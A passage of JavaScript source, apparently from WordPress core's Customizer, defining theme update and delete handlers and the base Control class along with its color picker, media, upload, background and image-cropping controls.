		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		updateTheme: function( event ) {
			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-update-success', function( e, response ) {

				// Rerender the control to reflect the update.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
						control.params.theme.hasUpdate = false;
						control.params.theme.version = response.newVersion;
						setTimeout( function() {
							control.rerenderAsInstalled( true );
						}, 2000 );
					}
				});
			} );

			wp.updates.updateTheme( {
				slug: $( event.target ).closest( '.notice' ).data( 'slug' )
			} );
		},

		/**
		 * Delete a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		deleteTheme: function( event ) {
			var theme, section;
			theme = $( event.target ).data( 'slug' );
			section = api.section( 'installed_themes' );

			event.preventDefault();

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				return;
			}

			// Confirmation dialog for deleting a theme.
			if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-delete-success', function() {
				var control = api.control( 'installed_theme_' + theme );

				// Remove theme control.
				control.container.remove();
				api.control.remove( control.id );

				// Update installed count.
				section.loaded = section.loaded - 1;
				section.updateCount();

				// Rerender any other theme controls as uninstalled.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
						control.rerenderAsInstalled( false );
					}
				});
			} );

			wp.updates.deleteTheme( {
				slug: theme
			} );

			// Close modal and focus the section.
			section.closeDetails();
			section.focus();
		}
	});

	api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			label: '',
			description: '',
			active: true,
			priority: 10
		},

		/**
		 * A Customizer Control.
		 *
		 * A control provides a UI element that allows a user to modify a Customizer Setting.
		 *
		 * @see PHP class WP_Customize_Control.
		 *
		 * @constructs wp.customize.Control
		 * @augments   wp.customize.Class
		 *
		 * @borrows wp.customize~focus as this#focus
		 * @borrows wp.customize~Container#activate as this#activate
		 * @borrows wp.customize~Container#deactivate as this#deactivate
		 * @borrows wp.customize~Container#_toggleActive as this#_toggleActive
		 *
		 * @param {string} id                       - Unique identifier for the control instance.
		 * @param {Object} options                  - Options hash for the control instance.
		 * @param {Object} options.type             - Type of control (e.g. text, radio, dropdown-pages, etc.)
		 * @param {string} [options.content]        - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
		 * @param {string} [options.templateId]     - Template ID for control's content.
		 * @param {string} [options.priority=10]    - Order of priority to show the control within the section.
		 * @param {string} [options.active=true]    - Whether the control is active.
		 * @param {string} options.section          - The ID of the section the control belongs to.
		 * @param {mixed}  [options.setting]        - The ID of the main setting or an instance of this setting.
		 * @param {mixed}  options.settings         - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
		 * @param {mixed}  options.settings.default - The ID of the setting the control relates to.
		 * @param {string} options.settings.data    - @todo Is this used?
		 * @param {string} options.label            - Label.
		 * @param {string} options.description      - Description.
		 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
		 * @param {Object} [options.params]         - Deprecated wrapper for the above properties.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this, deferredSettingIds = [], settings, gatherSettings;

			control.params = _.extend(
				{},
				control.defaults,
				control.params || {}, // In case subclass already defines.
				options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
			);

			if ( ! api.Control.instanceCounter ) {
				api.Control.instanceCounter = 0;
			}
			api.Control.instanceCounter++;
			if ( ! control.params.instanceNumber ) {
				control.params.instanceNumber = api.Control.instanceCounter;
			}

			// Look up the type if one was not supplied.
			if ( ! control.params.type ) {
				_.find( api.controlConstructor, function( Constructor, type ) {
					if ( Constructor === control.constructor ) {
						control.params.type = type;
						return true;
					}
					return false;
				} );
			}

			if ( ! control.params.content ) {
				control.params.content = $( '<li></li>', {
					id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
					'class': 'customize-control customize-control-' + control.params.type
				} );
			}

			control.id = id;
			control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
			if ( control.params.content ) {
				control.container = $( control.params.content );
			} else {
				control.container = $( control.selector ); // Likely dead, per above. See #28709.
			}

			if ( control.params.templateId ) {
				control.templateSelector = control.params.templateId;
			} else {
				control.templateSelector = 'customize-control-' + control.params.type + '-content';
			}

			control.deferred = _.extend( control.deferred || {}, {
				embedded: new $.Deferred()
			} );
			control.section = new api.Value();
			control.priority = new api.Value();
			control.active = new api.Value();
			control.activeArgumentsQueue = [];
			control.notifications = new api.Notifications({
				alt: control.altNotice
			});

			control.elements = [];

			control.active.bind( function ( active ) {
				var args = control.activeArgumentsQueue.shift();
				args = $.extend( {}, control.defaultActiveArguments, args );
				control.onChangeActive( active, args );
			} );

			control.section.set( control.params.section );
			control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
			control.active.set( control.params.active );

			api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );

			control.settings = {};

			settings = {};
			if ( control.params.setting ) {
				settings['default'] = control.params.setting;
			}
			_.extend( settings, control.params.settings );

			// Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
			_.each( settings, function( value, key ) {
				var setting;
				if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
					control.settings[ key ] = value;
				} else if ( _.isString( value ) ) {
					setting = api( value );
					if ( setting ) {
						control.settings[ key ] = setting;
					} else {
						deferredSettingIds.push( value );
					}
				}
			} );

			gatherSettings = function() {

				// Fill-in all resolved settings.
				_.each( settings, function ( settingId, key ) {
					if ( ! control.settings[ key ] && _.isString( settingId ) ) {
						control.settings[ key ] = api( settingId );
					}
				} );

				// Make sure settings passed as array gets associated with default.
				if ( control.settings[0] && ! control.settings['default'] ) {
					control.settings['default'] = control.settings[0];
				}

				// Identify the main setting.
				control.setting = control.settings['default'] || null;

				control.linkElements(); // Link initial elements present in server-rendered content.
				control.embed();
			};

			if ( 0 === deferredSettingIds.length ) {
				gatherSettings();
			} else {
				api.apply( api, deferredSettingIds.concat( gatherSettings ) );
			}

			// After the control is embedded on the page, invoke the "ready" method.
			control.deferred.embedded.done( function () {
				control.linkElements(); // Link any additional elements after template is rendered by renderContent().
				control.setupNotifications();
				control.ready();
			});
		},

		/**
		 * Link elements between settings and inputs.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		linkElements: function () {
			var control = this, nodes, radios, element;

			nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
			radios = {};

			nodes.each( function () {
				var node = $( this ), name, setting;

				if ( node.data( 'customizeSettingLinked' ) ) {
					return;
				}
				node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.

				if ( node.is( ':radio' ) ) {
					name = node.prop( 'name' );
					if ( radios[name] ) {
						return;
					}

					radios[name] = true;
					node = nodes.filter( '[name="' + name + '"]' );
				}

				// Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
				if ( node.data( 'customizeSettingLink' ) ) {
					setting = api( node.data( 'customizeSettingLink' ) );
				} else if ( node.data( 'customizeSettingKeyLink' ) ) {
					setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
				}

				if ( setting ) {
					element = new api.Element( node );
					control.elements.push( element );
					element.sync( setting );
					element.set( setting() );
				}
			} );
		},

		/**
		 * Embed the control into the page.
		 */
		embed: function () {
			var control = this,
				inject;

			// Watch for changes to the section state.
			inject = function ( sectionId ) {
				var parentContainer;
				if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end.
					return;
				}
				// Wait for the section to be registered.
				api.section( sectionId, function ( section ) {
					// Wait for the section to be ready/initialized.
					section.deferred.embedded.done( function () {
						parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
						if ( ! control.container.parent().is( parentContainer ) ) {
							parentContainer.append( control.container );
						}
						control.renderContent();
						control.deferred.embedded.resolve();
					});
				});
			};
			control.section.bind( inject );
			inject( control.section.get() );
		},

		/**
		 * Triggered when the control's markup has been injected into the DOM.
		 *
		 * @return {void}
		 */
		ready: function() {
			var control = this, newItem;
			if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
				newItem = control.container.find( '.new-content-item' );
				newItem.hide(); // Hide in JS to preserve flex display when showing.
				control.container.on( 'click', '.add-new-toggle', function( e ) {
					$( e.currentTarget ).slideUp( 180 );
					newItem.slideDown( 180 );
					newItem.find( '.create-item-input' ).focus();
				});
				control.container.on( 'click', '.add-content', function() {
					control.addNewPage();
				});
				control.container.on( 'keydown', '.create-item-input', function( e ) {
					if ( 13 === e.which ) { // Enter.
						control.addNewPage();
					}
				});
			}
		},

		/**
		 * Get the element inside of a control's container that contains the validation error message.
		 *
		 * Control subclasses may override this to return the proper container to render notifications into.
		 * Injects the notification container for existing controls that lack the necessary container,
		 * including special handling for nav menu items and widgets.
		 *
		 * @since 4.6.0
		 * @return {jQuery} Setting validation message element.
		 */
		getNotificationsContainerElement: function() {
			var control = this, controlTitle, notificationsContainer;

			notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
			if ( notificationsContainer.length ) {
				return notificationsContainer;
			}

			notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );

			if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
				control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
			} else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
				control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
			} else {
				controlTitle = control.container.find( '.customize-control-title' );
				if ( controlTitle.length ) {
					controlTitle.after( notificationsContainer );
				} else {
					control.container.prepend( notificationsContainer );
				}
			}
			return notificationsContainer;
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var control = this, renderNotificationsIfVisible, onSectionAssigned;

			// Add setting notifications to the control notification.
			_.each( control.settings, function( setting ) {
				if ( ! setting.notifications ) {
					return;
				}
				setting.notifications.bind( 'add', function( settingNotification ) {
					var params = _.extend(
						{},
						settingNotification,
						{
							setting: setting.id
						}
					);
					control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
				} );
				setting.notifications.bind( 'remove', function( settingNotification ) {
					control.notifications.remove( setting.id + ':' + settingNotification.code );
				} );
			} );

			renderNotificationsIfVisible = function() {
				var sectionId = control.section();
				if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
					control.notifications.render();
				}
			};

			control.notifications.bind( 'rendered', function() {
				var notifications = control.notifications.get();
				control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
				control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
			} );

			onSectionAssigned = function( newSectionId, oldSectionId ) {
				if ( oldSectionId && api.section.has( oldSectionId ) ) {
					api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
				}
				if ( newSectionId ) {
					api.section( newSectionId, function( section ) {
						section.expanded.bind( renderNotificationsIfVisible );
						renderNotificationsIfVisible();
					});
				}
			};

			control.section.bind( onSectionAssigned );
			onSectionAssigned( control.section.get() );
			control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
		},

		/**
		 * Render notifications.
		 *
		 * Renders the `control.notifications` into the control's container.
		 * Control subclasses may override this method to do their own handling
		 * of rendering notifications.
		 *
		 * @deprecated in favor of `control.notifications.render()`
		 * @since 4.6.0
		 * @this {wp.customize.Control}
		 */
		renderNotifications: function() {
			var control = this, container, notifications, hasError = false;

			if ( 'undefined' !== typeof console && console.warn ) {
				console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method.' );
			}

			container = control.getNotificationsContainerElement();
			if ( ! container || ! container.length ) {
				return;
			}
			notifications = [];
			control.notifications.each( function( notification ) {
				notifications.push( notification );
				if ( 'error' === notification.type ) {
					hasError = true;
				}
			} );

			if ( 0 === notifications.length ) {
				container.stop().slideUp( 'fast' );
			} else {
				container.stop().slideDown( 'fast', null, function() {
					$( this ).css( 'height', 'auto' );
				} );
			}

			if ( ! control.notificationsTemplate ) {
				control.notificationsTemplate = wp.template( 'customize-control-notifications' );
			}

			control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
			control.container.toggleClass( 'has-error', hasError );
			container.empty().append(
				control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim()
			);
		},

		/**
		 * Normal controls do not expand, so just expand its parent
		 *
		 * @param {Object} [params]
		 */
		expand: function ( params ) {
			api.section( this.section() ).expand( params );
		},

		/*
		 * Documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Update UI in response to a change in the control's active state.
		 * This does not change the active state, it merely handles the behavior
		 * for when it does change.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active
		 * @param {Object}   args
		 * @param {number}   args.duration
		 * @param {Function} args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			if ( ! $.contains( document, this.container[0] ) ) {
				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM.
				this.container.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				this.container.slideDown( args.duration, args.completeCallback );
			} else {
				this.container.slideUp( args.duration, args.completeCallback );
			}
		},

		/**
		 * @deprecated 4.1.0 Use this.onChangeActive() instead.
		 */
		toggle: function ( active ) {
			return this.onChangeActive( active, this.defaultActiveArguments );
		},

		/*
		 * Documented using @borrows in the constructor
		 */
		activate: Container.prototype.activate,

		/*
		 * Documented using @borrows in the constructor
		 */
		deactivate: Container.prototype.deactivate,

		/*
		 * Documented using @borrows in the constructor
		 */
		_toggleActive: Container.prototype._toggleActive,

		// @todo This function appears to be dead code and can be removed.
		dropdownInit: function() {
			var control      = this,
				statuses     = this.container.find('.dropdown-status'),
				params       = this.params,
				toggleFreeze = false,
				update       = function( to ) {
					if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
						statuses.html( params.statuses[ to ] ).show();
					} else {
						statuses.hide();
					}
				};

			// Support the .dropdown class to open/close complex elements.
			this.container.on( 'click keydown', '.dropdown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				event.preventDefault();

				if ( ! toggleFreeze ) {
					control.container.toggleClass( 'open' );
				}

				if ( control.container.hasClass( 'open' ) ) {
					control.container.parent().parent().find( 'li.library-selected' ).focus();
				}

				// Don't want to fire focus and click at same time.
				toggleFreeze = true;
				setTimeout(function () {
					toggleFreeze = false;
				}, 400);
			});

			this.setting.bind( update );
			update( this.setting() );
		},

		/**
		 * Render the control from its JS template, if it exists.
		 *
		 * The control's container must already exist in the DOM.
		 *
		 * @since 4.1.0
		 */
		renderContent: function () {
			var control = this, template, standardTypes, templateId, sectionId;

			standardTypes = [
				'button',
				'checkbox',
				'date',
				'datetime-local',
				'email',
				'month',
				'number',
				'password',
				'radio',
				'range',
				'search',
				'select',
				'tel',
				'time',
				'text',
				'textarea',
				'week',
				'url'
			];

			templateId = control.templateSelector;

			// Use default content template when a standard HTML type is used,
			// there isn't a more specific template existing, and the control container is empty.
			if ( templateId === 'customize-control-' + control.params.type + '-content' &&
				_.contains( standardTypes, control.params.type ) &&
				! document.getElementById( 'tmpl-' + templateId ) &&
				0 === control.container.children().length )
			{
				templateId = 'customize-control-default-content';
			}

			// Replace the container element's content with the control.
			if ( document.getElementById( 'tmpl-' + templateId ) ) {
				template = wp.template( templateId );
				if ( template && control.container ) {
					control.container.html( template( control.params ) );
				}
			}

			// Re-render notifications after content has been re-rendered.
			control.notifications.container = control.getNotificationsContainerElement();
			sectionId = control.section();
			if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
				control.notifications.render();
			}
		},

		/**
		 * Add a new page to a dropdown-pages control reusing menus code for this.
		 *
		 * @since 4.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		addNewPage: function () {
			var control = this, promise, toggle, container, input, title, select;

			if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
				return;
			}

			toggle = control.container.find( '.add-new-toggle' );
			container = control.container.find( '.new-content-item' );
			input = control.container.find( '.create-item-input' );
			title = input.val();
			select = control.container.find( 'select' );

			if ( ! title ) {
				input.addClass( 'invalid' );
				return;
			}

			input.removeClass( 'invalid' );
			input.attr( 'disabled', 'disabled' );

			// The menus functions add the page, publish when appropriate,
			// and also add the new page to the dropdown-pages controls.
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: 'page'
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemTemplate;

				// Prepare the new page as an available menu item.
				// See api.Menus.submitNew().
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': title,
					'type': 'post_type',
					'type_label': api.Menus.data.l10n.page_label,
					'object': 'page',
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add the new item to the list of available menu items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
				itemTemplate = wp.template( 'available-menu-item' );
				$content.prepend( itemTemplate( availableItem.attributes ) );

				// Focus the select control.
				select.focus();
				control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.

				// Reset the create page form.
				container.slideUp( 180 );
				toggle.slideDown( 180 );
			} );
			promise.always( function() {
				input.val( '' ).removeAttr( 'disabled' );
			} );
		}
	});

	/**
	 * A colorpicker control.
	 *
	 * @class    wp.customize.ColorControl
	 * @augments wp.customize.Control
	 */
	api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{
		ready: function() {
			var control = this,
				isHueSlider = this.params.mode === 'hue',
				updating = false,
				picker;

			if ( isHueSlider ) {
				picker = this.container.find( '.color-picker-hue' );
				picker.val( control.setting() ).wpColorPicker({
					change: function( event, ui ) {
						updating = true;
						control.setting( ui.color.h() );
						updating = false;
					}
				});
			} else {
				picker = this.container.find( '.color-picker-hex' );
				picker.val( control.setting() ).wpColorPicker({
					change: function() {
						updating = true;
						control.setting.set( picker.wpColorPicker( 'color' ) );
						updating = false;
					},
					clear: function() {
						updating = true;
						control.setting.set( '' );
						updating = false;
					}
				});
			}

			control.setting.bind( function ( value ) {
				// Bail if the update came from the control itself.
				if ( updating ) {
					return;
				}
				picker.val( value );
				picker.wpColorPicker( 'color', value );
			} );

			// Collapse color picker when hitting Esc instead of collapsing the current section.
			control.container.on( 'keydown', function( event ) {
				var pickerContainer;
				if ( 27 !== event.which ) { // Esc.
					return;
				}
				pickerContainer = control.container.find( '.wp-picker-container' );
				if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
					picker.wpColorPicker( 'close' );
					control.container.find( '.wp-color-result' ).focus();
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			} );
		}
	});

	/**
	 * A control that implements the media modal.
	 *
	 * @class    wp.customize.MediaControl
	 * @augments wp.customize.Control
	 */
	api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			var control = this;
			// Shortcut so that we don't have to use _.bind every time we add a callback.
			_.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );

			// Bind events, with delegation to facilitate re-rendering.
			control.container.on( 'click keydown', '.upload-button', control.openFrame );
			control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
			control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
			control.container.on( 'click keydown', '.default-button', control.restoreDefault );
			control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
			control.container.on( 'click keydown', '.remove-button', control.removeFile );
			control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );

			// Resize the player controls when it becomes visible (ie when section is expanded).
			api.section( control.section() ).container
				.on( 'expanded', function() {
					if ( control.player ) {
						control.player.setControlsSize();
					}
				})
				.on( 'collapsed', function() {
					control.pausePlayer();
				});

			/**
			 * Set attachment data and render content.
			 *
			 * Note that BackgroundImage.prototype.ready applies this ready method
			 * to itself. Since BackgroundImage is an UploadControl, the value
			 * is the attachment URL instead of the attachment ID. In this case
			 * we skip fetching the attachment data because we have no ID available,
			 * and it is the responsibility of the UploadControl to set the control's
			 * attachmentData before calling the renderContent method.
			 *
			 * @param {number|string} value Attachment
			 */
			function setAttachmentDataAndRenderContent( value ) {
				var hasAttachmentData = $.Deferred();

				if ( control.extended( api.UploadControl ) ) {
					hasAttachmentData.resolve();
				} else {
					value = parseInt( value, 10 );
					if ( _.isNaN( value ) || value <= 0 ) {
						delete control.params.attachment;
						hasAttachmentData.resolve();
					} else if ( control.params.attachment && control.params.attachment.id === value ) {
						hasAttachmentData.resolve();
					}
				}

				// Fetch the attachment data.
				if ( 'pending' === hasAttachmentData.state() ) {
					wp.media.attachment( value ).fetch().done( function() {
						control.params.attachment = this.attributes;
						hasAttachmentData.resolve();

						// Send attachment information to the preview for possible use in `postMessage` transport.
						wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
					} );
				}

				hasAttachmentData.done( function() {
					control.renderContent();
				} );
			}

			// Ensure attachment data is initially set (for dynamically-instantiated controls).
			setAttachmentDataAndRenderContent( control.setting() );

			// Update the attachment data and re-render the control when the setting changes.
			control.setting.bind( setAttachmentDataAndRenderContent );
		},

		pausePlayer: function () {
			this.player && this.player.pause();
		},

		cleanupPlayer: function () {
			this.player && wp.media.mixin.removePlayer( this.player );
		},

		/**
		 * Open the media modal.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			event.preventDefault();

			if ( ! this.frame ) {
				this.initFrame();
			}

			this.frame.open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			this.frame = wp.media({
				button: {
					text: this.params.button_labels.frame_button
				},
				states: [
					new wp.media.controller.Library({
						title:     this.params.button_labels.frame_title,
						library:   wp.media.query({ type: this.params.mime_type }),
						multiple:  false,
						date:      false
					})
				]
			});

			// When a file is selected, run a callback.
			this.frame.on( 'select', this.select );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		/**
		 * Reset the setting to the default value.
		 */
		restoreDefault: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = this.params.defaultAttachment;
			this.setting( this.params.defaultAttachment.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
		}
	});

	/**
	 * An upload control, which utilizes the media modal.
	 *
	 * @class    wp.customize.UploadControl
	 * @augments wp.customize.MediaControl
	 */
	api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.url );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		// @deprecated
		success: function() {},

		// @deprecated
		removerVisibility: function() {}
	});

	/**
	 * A control for uploading images.
	 *
	 * This control no longer needs to do anything more
	 * than what the upload control does in JS.
	 *
	 * @class    wp.customize.ImageControl
	 * @augments wp.customize.UploadControl
	 */
	api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{
		// @deprecated
		thumbnailSrc: function() {}
	});

	/**
	 * A control for uploading background images.
	 *
	 * @class    wp.customize.BackgroundControl
	 * @augments wp.customize.UploadControl
	 */
	api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			api.UploadControl.prototype.ready.apply( this, arguments );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Does an additional Ajax request for setting the background context.
		 */
		select: function() {
			api.UploadControl.prototype.select.apply( this, arguments );

			wp.ajax.post( 'custom-background-add', {
				nonce: _wpCustomizeBackground.nonces.add,
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet,
				attachment_id: this.params.attachment.id
			} );
		}
	});

	/**
	 * A control for positioning a background image.
	 *
	 * @since 4.7.0
	 *
	 * @class    wp.customize.BackgroundPositionControl
	 * @augments wp.customize.Control
	 */
	api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{

		/**
		 * Set up control UI once embedded in DOM and settings are created.
		 *
		 * @since 4.7.0
		 * @access public
		 */
		ready: function() {
			var control = this, updateRadios;

			control.container.on( 'change', 'input[name="background-position"]', function() {
				var position = $( this ).val().split( ' ' );
				control.settings.x( position[0] );
				control.settings.y( position[1] );
			} );

			updateRadios = _.debounce( function() {
				var x, y, radioInput, inputValue;
				x = control.settings.x.get();
				y = control.settings.y.get();
				inputValue = String( x ) + ' ' + String( y );
				radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
				radioInput.trigger( 'click' );
			} );
			control.settings.x.bind( updateRadios );
			control.settings.y.bind( updateRadios );

			updateRadios(); // Set initial UI.
		}
	} );

	/**
	 * A control for selecting and cropping an image.
	 *
	 * @class    wp.customize.CroppedImageControl
	 * @augments wp.customize.MediaControl
	 */
	api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{

		/**
		 * Open the media modal to the library state.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			this.initFrame();
			this.frame.setState( 'library' ).open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.CustomizeImageCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				this.setImageFromAttachment( attachment );
				this.frame.close();
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function( croppedImage ) {
			this.setImageFromAttachment( croppedImage );
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * control-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
		calculateImageSelectOptions: function( attachment, controller ) {
			var control    = controller.get( 'control' ),
				flexWidth  = !! parseInt( control.params.flex_width, 10 ),
				flexHeight = !! parseInt( control.params.flex_height, 10 ),
				realWidth  = attachment.get( 'width' ),
				realHeight = attachment.get( 'height' ),
				xInit = parseInt( control.params.width, 10 ),
				yInit = parseInt( control.params.height, 10 ),
				ratio = xInit / yInit,
				xImg  = xInit,
				yImg  = yInit,
				x1, y1, imgSelectOptions;

			controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );

			if ( realWidth / realHeight > ratio ) {
				yInit = realHeight;
				xInit = yInit * ratio;
			} else {
				xInit = realWidth;
				yInit = xInit / ratio;
			}

			x1 = ( realWidth - xInit ) / 2;
			y1 = ( realHeight - yInit ) / 2;

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
